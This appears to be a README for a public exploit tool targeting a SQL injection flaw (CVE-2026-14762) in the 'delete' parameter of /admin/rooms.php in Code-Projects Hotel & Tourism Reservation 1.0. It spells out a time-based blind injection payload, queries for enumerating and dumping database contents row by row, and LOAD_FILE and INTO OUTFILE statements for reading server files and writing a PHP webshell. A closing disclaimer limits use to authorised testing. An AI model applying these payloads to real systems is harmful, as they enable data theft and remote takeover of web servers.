CVE-2026-14762 – Code‑Projects Hotel & Tourism Reservation 1.0 SQL Injection Exploit

Fully featured, multi‑threaded, time‑based blind SQL injection exploit for CVE‑2026‑14762.
Targets the /admin/rooms.php endpoint of the Code‑Projects Hotel & Tourism Reservation application (version 1.0).
Achieves full database enumeration, file system read (LOAD_FILE), and arbitrary file write (INTO OUTFILE / DUMPFILE) – leading to remote code execution via webshell deployment.

🚀 Features

📦 Requirements

• Python ≥ 3.11
• Python packages:
  • requests
  • urllib3
  • colorama (optional – for coloured terminal output)

Install all dependencies with:

pip install requests urllib3 colorama

📖 Usage

git clone https://github.com/tc4dy/CVE-2026-14762-PoC-Exploit.git

cd CVE-2026-14762-PoC-Exploit

chmod +x exploit.py or basic_exploit.py

📖 Command-Line Arguments

⚙️ How It Works

Payload Construction

The delete parameter is injected with:

150' AND IF(<condition>, SLEEP(<delay>), 0) AND '1'='1

The IF() evaluates the condition; if true, the database sleeps for seconds. Binary-Search Character Extraction

For each character position, a binary search over the ASCII range (32–126) determines the correct character using > and = comparisons. This reduces requests from 95 per character to ~7–8, making extraction highly efficient. Metadata Enumeration

Database name: SELECT DATABASE()

Tables: SELECT table_name FROM information_schema.tables WHERE table_schema='<db>' LIMIT n,1

Columns: SELECT column_name FROM information_schema.columns WHERE table_schema='<db>' AND table_name='<table>' LIMIT n,1

Data Exfiltration

SELECT <col> FROM <table> LIMIT row,1 – extracts row by row

Each cell is extracted character by character using the same binary-search technique

File System Interaction

Read: LOAD_FILE('/path/to/file') – requires secure_file_priv to be empty or point to the target directory

Write: SELECT '<content>' INTO OUTFILE '/path/to/shell.php' – requires FILE privilege and secure_file_priv not restrictive

🛡️ Disclaimer

This tool is provided for authorised security testing, educational research, and vulnerability assessment only. The author is not responsible for any misuse, illegal activities, or damage caused by this software. Always obtain explicit written permission from the system owner before testing.